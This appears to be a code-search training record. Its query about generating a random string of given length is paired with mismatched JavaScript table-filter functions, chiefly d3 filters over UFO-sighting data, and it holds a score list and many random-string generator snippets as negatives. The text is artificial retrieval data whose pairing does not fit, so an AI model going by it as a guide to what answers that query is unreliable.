// Select the input element and get the raw HTML node\n var dateInputElement = d3.select(\"#datetime\");\n var cityInputElement = d3.select(\"#city\");\n var stateInputElement = d3.select(\"#state\");\n var countryInputElement = d3.select(\"#country\");\n var shapeInputElement = d3.select(\"#shape\");\n // Get the value property of the input element\n var dateInputValue = dateInputElement.property(\"value\");\n var cityInputValue = cityInputElement.property(\"value\");\n var stateInputValue = stateInputElement.property(\"value\");\n var countryInputValue = countryInputElement.property(\"value\");\n var shapeInputValue = shapeInputElement.property(\"value\");\n\n\n\n \n \n \n \n\n \n \n // check if there an input\n function testFilter(){\n myBolean ={}\n if (dateInputValue){\n myBolean['date'] = dateInputValue}\n\n if(cityInputValue){\n myBolean['city'] = cityInputValue}\n\n if (stateInputValue){\n myBolean['state'] = stateInputValue}\n\n if (countryInputValue){\n myBolean['country'] = countryInputValue}\n\n if(shapeInputValue){\n myBolean['shape'] = shapeInputValue}\n console.log(myBolean)\n return myBolean\n\n \n }\n\n //filter the acutal data\n function tableFilter(tableList){\n mydicts = testFilter()\n\nconsole.log(mydicts)\n if(mydicts.date){ if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.datetime==mydicts.date)}\n\n else{var filteredData = tableList.filter(ufo=> ufo.datetime==mydicts.date)\n\n }\n\n\n }\n if(mydicts.city){\n if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.city==mydicts.city)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.city==mydicts.city)\n \n }}\n\n if(mydicts.state){if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.state==mydicts.state)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.state==mydicts.state)\n \n }}\n \n if(mydicts.country){if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.country==mydicts.country)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.country==mydicts.country)\n \n }}\n\n if(mydicts.shape){if (filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.shape==mydicts.shape)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.shape==mydicts.shape)\n \n }}\n \n\nconsole.log(filteredData)\n\n return filteredData\n }\n \n\n addingRows(tableFilter(tableData))\n\n}", "function runEnter() {\n //Prevent the page from refreshing\n d3.event.preventDefault();\n\n //Select the input element and get the raw HTML node\n var dateField = d3.select(\"#datetime\");\n var cityField = d3.select(\"#cityInput\");\n var stateField = d3.select(\"#stateInput\");\n var countryField = d3.select(\"#countryInput\");\n var shapeField = d3.select(\"#shapeInput\");\n var durationField = d3.select(\"#durationInput\");\n\n //Get the value property of the input element\n var dateValue = dateField.property(\"value\");\n var cityValue = cityField.property(\"value\");\n var stateValue = stateField.property(\"value\");\n var countryValue = countryField.property(\"value\");\n var shapeValue = shapeField.property(\"value\");\n var durationValue = durationField.property(\"value\");\n console.log(\"Date Value is: \", dateValue);\n console.log(\"City value is: \", cityValue);\n\n //Filter array for final table\n //Set to full data set to start\n tableFiltered = data;\n\n //If dateValue.length > 0, filter for date\n let dateFilter = [];\n if (dateValue.length > 0) {\n tableData.forEach(function (item) {\n //console.log(dateValue);\n if (item.datetime === dateValue) {\n dateFilter.push(item);\n }\n });\n }\n //console.log(dateFilter);\n\n //Check if filter grabbed any values. if so, make tableFiltered the set of those values\n if (dateFilter.length > 0) {\n tableFiltered = dateFilter;\n }\n\n //Establish array to store filtered by city data\n let cityFilter = [];\n\n //If cityValue.length > 0, filter for city\n if (cityValue.length > 0) {\n tableFiltered.forEach(function (item) {\n //console.log(cityValue);\n if (item.city === cityValue) {\n cityFilter.push(item);\n }\n });\n tableFiltered = cityFilter;\n }\n\n //Establish array to store filtered by state data\n let stateFilter = [];\n\n //If state field has a value, filter for state\n if (stateValue.length > 0) {\n tableFiltered.forEach(function (item) {\n //console.log(stateValue);\n if (item.state === stateValue) {\n stateFilter.push(item);\n }\n });\n tableFiltered = stateFilter;\n }\n\n //Establish array to store filtered by country data\n let countryFilter = [];\n\n //If state field has a value, filter for country\n if (countryValue.length > 0) {\n tableFiltered.forEach(function (item) {\n //console.log(stateValue);\n if (item.country === countryValue) {\n countryFilter.push(item);\n }\n });\n tableFiltered = countryFilter;\n }\n\n //Establish array to store filtered by shape data\n let shapeFilter = [];\n\n //If state field has a value, filter for shape\n if (shapeValue.length > 0) {\n tableFiltered.forEach(function (item) {\n //console.log(shapeValue);\n if (item.shape === shapeValue) {\n shapeFilter.push(item);\n }\n });\n tableFiltered = shapeFilter;\n }\n\n //Establish array to store filtered by duration data\n let durationFilter = [];\n\n //If state field has a value, filter for duration\n if (durationValue) {\n tableFiltered.forEach(function (item) {\n //console.log(stateValue);\n if (item.durationMinutes === durationValue) {\n durationFilter.push(item);\n }\n });\n tableFiltered = durationFilter;\n }\n //console.log(dateFilter);\n //console.log(cityFilter);\n //console.log(tableFiltered);\n\n //Possibility: none of the filters narrowed down tableFiltered, so original table should be output\n if (tableFiltered === data) {\n buildHTMLTable(tableData);\n } else {\n buildHTMLTable(tableFiltered);\n }\n}", "function runEnter() {\n // clears the data of the current table \n tbody.html(\"\");\n // Prevent the page from refreshing\n d3.event.preventDefault();\n // print \"You have just clicked the 'Filter Table' on console, for testing\n console.log(\"You have just clicked the ' Date Time Filter Button'.\");\n // Select the input element and get the raw HTML node\n var inputElementDate = d3.select(\"#datetime\");\n var inputElementCity = d3.select(\"#cityname\");\n var inputElementState = d3.select(\"#statename\");\n var inputElementCountry = d3.select(\"#countryname\");\n var inputElementShape = d3.select(\"#shapename\");\n\n // Get the value property of the input element\n var inputValueDate = inputElementDate.property(\"value\").toLowerCase();\n var inputValueCity = inputElementCity.property(\"value\").toLowerCase();\n var inputValueState = inputElementState.property(\"value\").toLowerCase();\n var inputValueCountry = inputElementCountry.property(\"value\").toLowerCase();\n var inputValueShape = inputElementShape.property(\"value\").toLowerCase();\n \n console.log(inputValueDate);\n console.log(inputValueCity);\n console.log(inputValueState);\n console.log(inputValueCountry);\n console.log(inputValueShape);\n\n \n var filteredData = tableData.filter(UFO => UFO.datetime === inputValueDate ||\n UFO.city === inputValueCity ||\n UFO.state === inputValueState ||\n UFO.country === inputValueCountry ||\n UFO.shape === inputValueShape \n );\n\n console.log(filteredData);\n\n // Use d3 to update each cell's text with\n // // UFO Sightings report values (date, City, State, Country, Shape, Duration, Comments)\n filteredData.forEach((UFOSighting) => {\n var row = tbody.append(\"tr\");\n Object.entries(UFOSighting).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "function filterContacts(){\n matchedWords=[];\n filterActive=true;\n var value = $('#city-selector').val();\n var valueChecked = true;\n if( $('#show-active:checked').length == 0 ){\n valueChecked = false;\n };\n\n var searchWord = $('#name-search').val().trim();\n var pattern = new RegExp(searchWord, 'gi');\n for(var i=0; i<contactsData.length; i++){\n var testword = contactsData[i]['name'];\n if(testword.match(pattern)!= null){\n var filteredData = contactsData[i];\n if(value == 'none' && valueChecked == true){\n if(contactsData[i]['active'] == true){\n matchedWords.push(filteredData);\n }\n }else if( value == filteredData['city'] && (valueChecked == filteredData['active'] || filteredData['active']== undefined) ){\n matchedWords.push(filteredData);\n }else if(value == 'none' && (valueChecked == filteredData['active'] || filteredData['active']== undefined )) {\n matchedWords.push(filteredData);\n }\n }\n }\n //Perpiesiama nauja lentele su isfiltruotais duomenimis\n createTable(matchedWords);\n }", "function handleClick() {\n\n // stops the page from refreshing\n d3.event.preventDefault();\n\n // clears data from current table \n tbody.html(\"\");\n\n var filteredData = tableData\n\n // select the input element and get the value property of the input element\n var date = d3.select(\"#datetime\").property(\"value\");\n\n // create an if statement for the filter\n if(date){\n filteredData = filteredData.filter(result => result.datetime === date);\n // build table with filterData\n buildTable(filteredData);\n } \n}", "function filterTullkontor () {\n \t\tjq('#tullkontorList').DataTable().search(\n \t\tjq('#tullkontorList_filter').val()\n \t\t).draw();\n }", "function Filter_TableRows(set_filter_isactive) { // PR2019-06-09 PR2020-08-31 PR2022-03-03\n //console.log( \"===== Filter_TableRows=== \");\n //console.log( \"filter_dict\", filter_dict);\n\n // function filters by inactive and substring of fields\n // - iterates through cells of tblRow\n // - skips filter of new row (new row is always visible)\n // - if filter_name is not null:\n // - checks tblRow.cells[i].children[0], gets value, in case of select element: data-value\n // - returns show_row = true when filter_name found in value\n // - if col_inactive has value >= 0 and hide_inactive = true:\n // - checks data-value of column 'inactive'.\n // - hides row if inactive = true\n\n if (set_filter_isactive){\n HandleFilterInactive();\n };\n selected.item_count = 0;\n const data_inactive_field = (selected_btn !== \"btn_userpermit\") ? \"data-inactive\" : null;\n for (let i = 0, tblRow, show_row; tblRow = tblBody_datatable.rows[i]; i++) {\n tblRow = tblBody_datatable.rows[i]\n show_row = t_Filter_TableRow_Extended(filter_dict, tblRow, data_inactive_field);\n\n //console.log( \"show_row\", show_row);\n\n add_or_remove_class(tblRow, cls_hide, !show_row);\n if (show_row) {selected.item_count += 1};\n }\n\n// --- show total in sidebar\n t_set_sbr_itemcount_txt(loc, selected.item_count, loc.User, loc.Users, setting_dict.user_lang);\n }", "function handleSubmit() {\n \n // Prevent the page from refreshing\n d3.event.preventDefault();\n // Select the input value from the form\n // Select the input element and get the raw HTML node\n var match;\n var filterForm = d3.select(\"#datetime\").node();\n var dateValue = filterForm.value;\n\n console.log(dateValue);\n console.log(tableData);\n\n match = tableData;\n\n if(dateValue.length > 0) {\n match = tableData.filter(tableData => tableData.datetime === dateValue );\n }\n\n \n\n var filterForm = d3.select(\"#city\").node();\n var cityValue = filterForm.value;\n\n if(cityValue.length > 0) {\n match = match.filter(match => match.city === cityValue);\n }\n\n var filterForm = d3.select(\"#state\").node();\n var stateValue = filterForm.value;\n\n if(stateValue.length > 0) {\n match = match.filter(match => match.state === stateValue);\n }\n\n var filterForm = d3.select(\"#country\").node();\n var countryValue = filterForm.value;\n\n if(countryValue.length > 0) {\n match = match.filter(match => match.country === countryValue);\n }\n \n var filterForm = d3.select(\"#shape\").node();\n var shapeValue = filterForm.value;\n\n if(shapeValue.length > 0) {\n match = match.filter(match => match.shape === shapeValue);\n } \n\n\n console.log(match);\n // remove all td's with class = \"ufotds\"\n d3.selectAll(\".ufotds\").remove();\n\n var tbody = d3.select(\"tbody\");\n \n match.forEach(function(element) {\n var tr = tbody.append(\"tr\");\n tr.append(\"td\").attr(\"class\",\"ufotds\").text(element.datetime);\n tr.append(\"td\").attr(\"class\",\"ufotds\").text(titleCase(element.city));\n tr.append(\"td\").attr(\"class\",\"ufotds\").text(element.state);\n tr.append(\"td\").attr(\"class\",\"ufotds\").text(element.country);\n tr.append(\"td\").attr(\"class\",\"ufotds\").text(element.shape);\n tr.append(\"td\").attr(\"class\",\"ufotds\").text(element.durationMinutes);\n tr.append(\"td\").attr(\"class\",\"ufotds\").text(element.comments);\n\n\n }, this);\n\n\n}", "function runEnter() {\n console.log(d3.event.target)\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n tbody.html(\"\");\n\n // Select the input element and get the raw HTML; I will need more inputs here for the other search criteria\n var inputDateTime = d3.select(\"#datetime\");\n var inputCity = d3.select(\"#city\")\n var inputState = d3.select(\"#state\")\n var inputCountry = d3.select(\"#country\")\n var inputShape = d3.select(\"#shape\")\n\n // Get the value property of the input element; I will need value properties here connected to the input elements.\n var ValueDateTime = inputDateTime.property(\"value\");\n var ValueCity = inputCity.property(\"value\");\n var ValueState = inputState.property(\"value\");\n var ValueCountry = inputCountry.property(\"value\");\n var ValueShape = inputShape.property(\"value\");\n\n\n // Print the value to the console\n //console.log(inputValueDateTime);\n\n // Worked with a teammate on this code for line 58. \n var filteredData = [...tableData];\n // Create multiple if statements for the filteredData and value property variables.\n if (ValueDateTime){\n filteredData = filteredData.filter(obj => obj.datetime === ValueDateTime);\n };\n if (ValueCity){\n filteredData = filteredData.filter(obj => obj.city.toLowerCase() === ValueCity.toLowerCase());\n };\n if (ValueState){\n filteredData = filteredData.filter(obj => obj.state.toLowerCase() === ValueState.toLowerCase());\n };\n if (ValueCountry){\n filteredData = filteredData.filter(obj => obj.country.toLowerCase() === ValueCountry.toLowerCase());\n };\n if (ValueShape){\n filteredData = filteredData.filter(obj => obj.shape.toLowerCase() === ValueShape.toLowerCase());\n };\n //Console log the filteredData\n console.log(filteredData);\n\n //Make a function to loop through the data \n if (filteredData.length >= 1) {\n tbody.html(\"\");\n filteredData.forEach(function(filteredUfo){\n //console.log(filteredUfo);\n //append to the body as a table row\n var row = tbody.append(\"tr\");\n \n Object.entries(filteredUfo).forEach(function([key, value]){\n //console.log(key, value)\n var cell = row.append(\"td\");\n cell.text(value).style(\"color\",\"white\");\n });\n });\n }\n //Create an alert if the search values are not viable.\n else{\n alert(\"No Results My Fellow Alien.\")\n }\n }", "function updateFilters() {\n\n // 4a. Save the element that was changed as a variable.\n var inputElementDatetime = d3.select(\"#datetime\");\n var inputElementCity = d3.select(\"#city\");\n var inputElementState = d3.select(\"#state\");\n var inputElementCountry = d3.select(\"#country\");\n var inputElementShape = d3.select(\"#shape\");\n\n // 4b. Save the value that was changed as a variable.\n var inputValueDatetime = inputElementDatetime.property(\"value\");\n var inputValueCity = inputElementCity.property(\"value\");\n var inputValueState = inputElementState.property(\"value\");\n var inputValueCountry = inputElementCountry.property(\"value\");\n var inputValueShape = inputElementShape.property(\"value\");\n\n // 4c. Save the id of the filter that was changed as a variable.\n var entryLengthDatetime = inputValueDatetime.length;\n var entryLengthCity = inputValueCity.length;\n var entryLengthState = inputValueState.length;\n var entryLengthCountry = inputValueCountry.length;\n var entryLengthShape = inputValueShape.length;\n\n \n // 5. If a filter value was entered then add that filterId and value\n // to the filters list. Otherwise, clear that filter from the filters object.\n \n\n // 6. Call function to apply all filters and rebuild the table\n filterTable();\n \n }", "function button(){\n d3.event.preventDefault();\n\n //create definitions for data value and the filtered data\n let dateValue = d3.select(\"#datetime\").property(\"value\");\n let filterData = tableData;\n\n //Create if statement to filter through the data by the entered date value\n if(dateValue) {\n filterData = filterData.filter((row) => row.datetime === dateValue);\n }\n\n //Create table with filtered Data\n\ttable(filterData);\n}", "function filteredTable(entry) {\n var row = tbody.append(\"tr\");\n \n // extract data from the object and assign to variables\n var datetime = entry.datetime;\n var city = entry.city;\n var state = entry.state;\n var country = entry.country;\n var shape = entry.shape;\n var durationMinutes = entry.durationMinutes;\n var comments = entry.comments;\n \n // append one cell for each variable\n row.append(\"td\").text(datetime);\n row.append(\"td\").text(city);\n row.append(\"td\").text(state);\n row.append(\"td\").text(country);\n row.append(\"td\").text(shape);\n row.append(\"td\").text(durationMinutes);\n row.append(\"td\").text(comments);\n }", "function filterTable() {\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // get the user input for filtering \n var inputDate = dateSelect.property(\"value\")\n\n // make a copy of the data for filtering\n var filteredData = tableData;\n\n // if there is a date input, filter the table according to the date\n if (inputDate) {\n filteredData = filteredData.filter(sighting => sighting.datetime == inputDate);\n }\n\n // reset the table\n clearTable();\n\n // if the filteredData array is empty\n if (filteredData.length == 0) {\n var row = tbody.text(\"There are no sightings for your chosen filters.\");\n }\n\n // use forEach and Object.values to populate the tbody with filtered data\n filteredData.forEach((ufoSighting) => {\n\n // create a new row for every sighting object\n var row = tbody.append(\"tr\");\n\n // iterate through each object's values to populate cells\n Object.values(ufoSighting).forEach(value => {\n\n // create a new cell for each item in the object\n var cell = row.append(\"td\");\n\n // populate the td text with the value\n cell.text(value);\n cell.attr(\"class\", \"table-style\");\n }); // close second forEach\n\n }); // close first forEach\n\n}", "function filter() {\n\tvar form = event.target.form;\n\tdocument.forms[0].filter_name.value = form.filter_name_input.value;\n\tdocument.forms[0].filter_url.value = form.filter_url_input.value;\n\tdocument.forms[0].filter_bool.value = form.filter_bool_select.options[document.forms[0].filter_bool_select.selectedIndex].value;\n\n\tsetHiddenValues();\n\tdocument.forms[0].submit();\n}", "function buttonClick(){\n // Prevent the page from refreshing\n d3.event.preventDefault();\n // Create & display new table with filtered/searched data\n var filtered_table = tableData.filter(ufo_sighting => ufo_sighting.datetime===dateInputText.property(\"value\"))\n displayData(filtered_table);\n}", "function handleClick(){\n // Prevents the Page from Refreshing\n d3.event.preventDefault();\n // Select HTML Input Element & Get the Value Property of that Input Element\n let date = d3.select(\"#datetime\").property(\"value\");\n let filterData = tableData;\n\n\n // Check if a Date was Entered & Filter Data Using that Date;\n if(date) {\n // Apply Filter to the Table Data to Only Keep Rows Where datetime Value Matches the Filter Value\n filterData = filterData.filter((row) => row.datetime === date);\n }\n // Filtered Data table\n buildTable(filterData);\n}", "function filteredTable(){\n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n var newData = tableData.filter(ufoSight => ufoSight.datetime === inputValue);\n //call createTable with the data from filtered list to populate sighting data\n createTable(newData);\n}" ]
[ "0.75175655", "0.7435501", "0.7431667", "0.73386997", "0.7335582", "0.7265471", "0.72489774", "0.71569055", "0.7145054", "0.7145002", "0.7086418", "0.70752627", "0.7064685", "0.702695", "0.7003223", "0.699883", "0.6994138", "0.69774365", "0.6952949", "0.6948635", "0.6939591", "0.69330627", "0.6857566", "0.6813454", "0.67880034", "0.67693794", "0.67541677", "0.6742284", "0.673097", "0.6718706", "0.6712485", "0.67088026", "0.66821796", "0.6651116", "0.66268945", "0.6617804", "0.6617529", "0.66173595", "0.66172534", "0.66119826", "0.6602877", "0.6588019", "0.65607363", "0.65510446", "0.654828", "0.65309584", "0.6523956", "0.6520575", "0.651726", "0.65149367", "0.6514223", "0.65068334", "0.65009946", "0.649235", "0.6481784", "0.6469149", "0.6468926", "0.64492214", "0.64349484", "0.6430296", "0.64278704", "0.64247125", "0.6410777", "0.6406774", "0.6391886", "0.6389552", "0.6375317", "0.6364361", "0.6357492", "0.63541186", "0.63522184", "0.6346468", "0.6340042", "0.6317158", "0.6301164", "0.6294874", "0.6293598", "0.6290571", "0.6272927", "0.6270901", "0.6270357", "0.6269356", "0.62690735", "0.62563115", "0.62217754", "0.6220358", "0.6218568", "0.6213514", "0.6199107", "0.6198989", "0.61932015", "0.6183533", "0.618298", "0.61732566", "0.6172352", "0.61688733", "0.6167674", "0.616197", "0.6160378", "0.6159278", "0.61513054" ]
0.0
-1
Generate random string for length
function rdmX(length) { return rdmStrTemplate(length, "X"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "getRandomString(length) {\n var s = ''\n do {\n s += Math.random().toString(36).substr(2);\n } while (s.length < length)\n s = s.substr(0, length)\n\n return s\n }", "function rand(length) {\n var str = '';\n while (str.length < length) {\n str += S4();\n }\n return str.slice(0, length);\n }", "function randomString(length) {\r\n\treturn Array(length+1).join((Math.random().toString(36)+'00000000000000000').slice(2, 18)).slice(0, length);\r\n}", "randString( length ) {\n let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n let total = parseInt( length ) || 10;\n let output = '';\n\n while ( total ) {\n output += chars.charAt( Math.floor( Math.random() * chars.length ) );\n total--;\n }\n return output;\n }", "function rand(length) {\n var str = '';\n while (str.length < length) {\n str += S4();\n }\n return str.slice(0, length);\n }", "function randomString(length) {\n return Math.round((Math.pow(36, length + 1) - Math.random() *\n Math.pow(36, length))).toString(36).slice(1);\n}", "makeRandStr(length) {\n const chars =\n 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJLKMNOPQRSTUVWXYZ0123456789';\n let str = '';\n for (let i = 0; i < length; ++i) {\n str += chars[Math.floor(Math.random() * 62)];\n }\n return str;\n }", "function getRandomString() {\n\treturn getRandomStringByLength(10);\n}", "function randomString(length) {\n var result = 0;\n for (var i = 0; i < length; i++)\n result += String.fromCharCode(65 + Math.floor(Math.random() * 58));\n return result;\n }", "function generateRandomString(length) {\n let text = '';\n let possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n \n for (let i = 0; i < length; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }", "createRandomString(length) {\n if(typeof length === 'number' && length) {\n // Define all characters that can go into a string\n const possible = 'abcdefghijklmnopqrstuvwxyz0123456789';\n // Return a random string from the possible characters of the given length\n const a =\n (l, str) =>\n l\n ? a(--l, str + possible[Math.floor(Math.random() * possible.length)])\n : str;\n\n return a(length, '');\n }\n else {\n return false;\n }\n }", "function randomString(length) {\n let str = \"\";\n while (str.length < length) {\n str += randomInteger(100000, 1000000).toString(36);\n }\n return str.substr(0, length);\n}", "function generateRandomString(lengthOfStr) {\n let sliceIndex;\n if (lengthOfStr === 6) {\n sliceIndex = 7;\n } else if (lengthOfStr === 3) {\n sliceIndex = 10;\n }\n\n let randomStr = Math.random().toString(36).slice(sliceIndex);\n if (randomStr.length < lengthOfStr) {\n //add another \"0\" to the end if randomStr is only lengthOfStr-1 in length\n randomStr += \"0\";\n }\n return randomStr;\n}", "getRandomString(length){\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for ( var i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "function randStr(len) {\n let s = '';\n while (len--) { s += String.fromCodePoint(Math.floor(Math.random() * (126 - 33) + 33)); }\n return s;\n}", "function genRandomString(length) {\n return crypto.randomBytes(Math.ceil(length / 2))\n .toString('hex') /** convert to hexadecimal format */\n .slice(0, length); /** return required number of characters */\n}", "function randomString(length) {\n let str = \"\";\n while (str.length < length) {\n str += number_1.randomInteger(100000, 1000000).toString(36);\n }\n return str.substr(0, length);\n}", "function genRandomString(length) {\n return crypto.randomBytes(Math.ceil(length/2))\n .toString('hex') /** convert to hexadecimal format */\n .slice(0,length); /** return required number of characters */\n}", "function generateString(length) {\n let result = '';\n let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n let charactersLength = characters.length;\n for (let i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n}", "function _randomString(len) {\n // use only numbers and lowercase letters\n var pieces = [];\n for(var i=0;i<len;i++) {\n pieces.push(Math.floor(Math.random()*36).toString(36).slice(-1));\n }\n return pieces.join('');\n}", "function getRandomString(length) {\n var sRandom = '';\n do { sRandom += Math.random().toString(36).substr(2); } while (sRandom.length < length);\n sRandom = sRandom.toUpperCase().substr(0, length);\n return sRandom;\n }", "function randomString(length) {\n var result = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);\n return result;\n}", "function getRandomString(length = 10){\n\n let stringRandom = \"\";\n\n for(let i = 0;i< Math.ceil(length/10) ;i++){\n stringRandom += Math.random().toString(36).substr(2, 15)\n }\n\n return stringRandom.substr(0, length);\n }", "function stringIdGenerator(len) {\n let text = \"\";\n let charList = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n for(let i=0; i < len; i++ ) { \n text += charList.charAt(Math.floor(Math.random() * char_list.length));\n }\n return text;\n}", "function randString(len) {\n var ascii = repeatedly(len, partial1(rand, 26)); //1~26중에서\n\n return _.map(ascii, function (n) {\n return n.toString(36); //base 36으로 바꿈\n }).join('');\n}", "function generateRandomString() {\n const length = 6;\n const chars = '0123456789abcdefghijklmnopqrstuvwxyz';\n var result = '';\n for (let i = length; i > 0; --i) {\n result += chars[Math.floor(Math.random() * chars.length)];\n } \n return result;\n}", "function getRandStr(len){\n //补全函数\n let STRING = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n let randS = STRING[Math.floor(Math.random()*62)]\n if(len===1) {\n return randS\n } else {\n return randS+getRandStr(len-1)\n }\n}", "function generateRandomString() {\n return randomstring.generate(6);\n}", "function randStr(length) {\n var text = '';\n var possible = 'abcdefghijkmnpqrstuvwxyz0123456789';\n for (var i = 0; i < length; i++) text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function randomString(length) {\r\n var chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'.split('');\r\n\r\n if (!length) {\r\n length = Math.floor(Math.random() * chars.length);\r\n }\r\n\r\n var str = '';\r\n for (var i = 0; i < length; i++) {\r\n str += chars[Math.floor(Math.random() * chars.length)];\r\n }\r\n return str;\r\n }", "function getRandomString(len) {\n if (!len)\n len = 16;\n\n return crypto.randomBytes(Math.ceil(len / 2)).toString('hex');\n}", "async function genRandomString(length) {\n\n var text = \"\";\n var characterSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n for (var i = 0; i < length; i++) {\n text += await characterSet.charAt(Math.floor(Math.random() * characterSet.length));\n }\n\n return Date.now() + text;\n}", "function getRandomString(length) {\n var sRandom = '';\n do { sRandom += Math.random().toString(36).substr(2); } while (sRandom.length < length);\n sRandom = sRandom.toUpperCase().substr(0, length);\n return sRandom;\n}", "function randomString(length) {\n\t var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t var result = '';\n\t for (var i = length; i > 0; --i) {\n\t result += chars[Math.floor(Math.random() * chars.length)];\n\t }return result;\n\t}", "function generateRandomString () {\n return Math.random().toString(36).slice(2, 8)\n}", "function generate(length) {\n\t\tvar result = '';\n\t\tvar characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';// 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\t\tvar charactersLength = characters.length;\n\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t result += characters.charAt(Math.floor(Math.random() * charactersLength));\n\t\t}\n\t\treturn result;\n\t}", "function generate(length) {\n\t\tvar result = '';\n\t\tvar characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';// 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\t\tvar charactersLength = characters.length;\n\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t result += characters.charAt(Math.floor(Math.random() * charactersLength));\n\t\t}\n\t\treturn result;\n\t}", "function generateRandomString(length) { // generates a random string\n let randomString = '';\n let possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n for (var i = 0; i < length; i++) {\n randomString += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return randomString;\n}", "function randomString() {\n\t var radix = 36;\n\t var length = 6;\n\t return Math.random().toString(radix).substr(-length);\n\t}", "function generateRandomString(size) {\n var possible = 'abcdefghijklmnopqrstuvwxyz';\n var text = '';\n for (var i = 0; i < size; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }", "function randomString(length) {\r\n\tvar text = \"\";\r\n\tvar possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\r\n\tfor (var i = 0; i < length; i++) {\r\n\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\r\n\t}\r\n\treturn text;\r\n}", "function randomString(length) {\n let text = \"\";\n let possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for(let i = 0; i < length; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return text;\n}", "function generateRandomString(length) {\n const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n let result = '';\n for (let i = 0; i < length; i += 1) {\n const random = Math.floor(Math.random() * chars.length);\n const char = chars[random];\n result += char;\n }\n return result;\n}", "function genRandomString(length, callback) {\n var text = '';\n var characterSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\n for (var i = 0; i < length; i++) {\n text += characterSet.charAt(Math.floor(Math.random() * characterSet.length));\n }\n\n callback(Date.now() + text);\n}", "function randomString(length) {\n\tvar text = \"\";\n\tvar possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n\tfor( var i=0; i < length; i++ )\n\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\n\n\treturn text;\n}", "function generateRandomString() {\n return Math.random().toString(32).substr(2, 6);\n}", "function generateRandomStr(strLength) {\n var randomStr = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%$@!^&*()\";\n\n for (var i = 0; i < strLength - 1; i++) {\n randomStr += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n \n return randomStr;\n}", "function generateRandomString(size) {\n if (size === void 0) { size = 10; }\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456790';\n var charsLength = characters.length;\n for (var i = 0; i < size; i++) {\n result += characters.charAt(Math.floor(Math.random() * charsLength));\n }\n return result;\n}", "function randString(length) {\n length = length ? length : aesBitLength / 8;\n randBuf = new Uint8Array(length);\n window.crypto.getRandomValues(randBuf);\n return arrayBufferToString(randBuf);\n}", "function getRandomStringByLength(length) {\n\tif(!length) {\n\t\tlength = 5 + Math.floor(Math.random() * 20);\n\t}\n\tvar str='', idx;\n\tfor(var n=0; n<length; n++) {\n\t\tidx = Math.floor(Math.random() * alphabet.length) + 1;\n\t\tstr += alphabet[idx];\n\t}\n\treturn str;\n}", "function generateRandomString() {\n return Math.floor(Math.random() * 1e10).toString(32);\n}", "function randomStr(size) {\n\tvar chars = 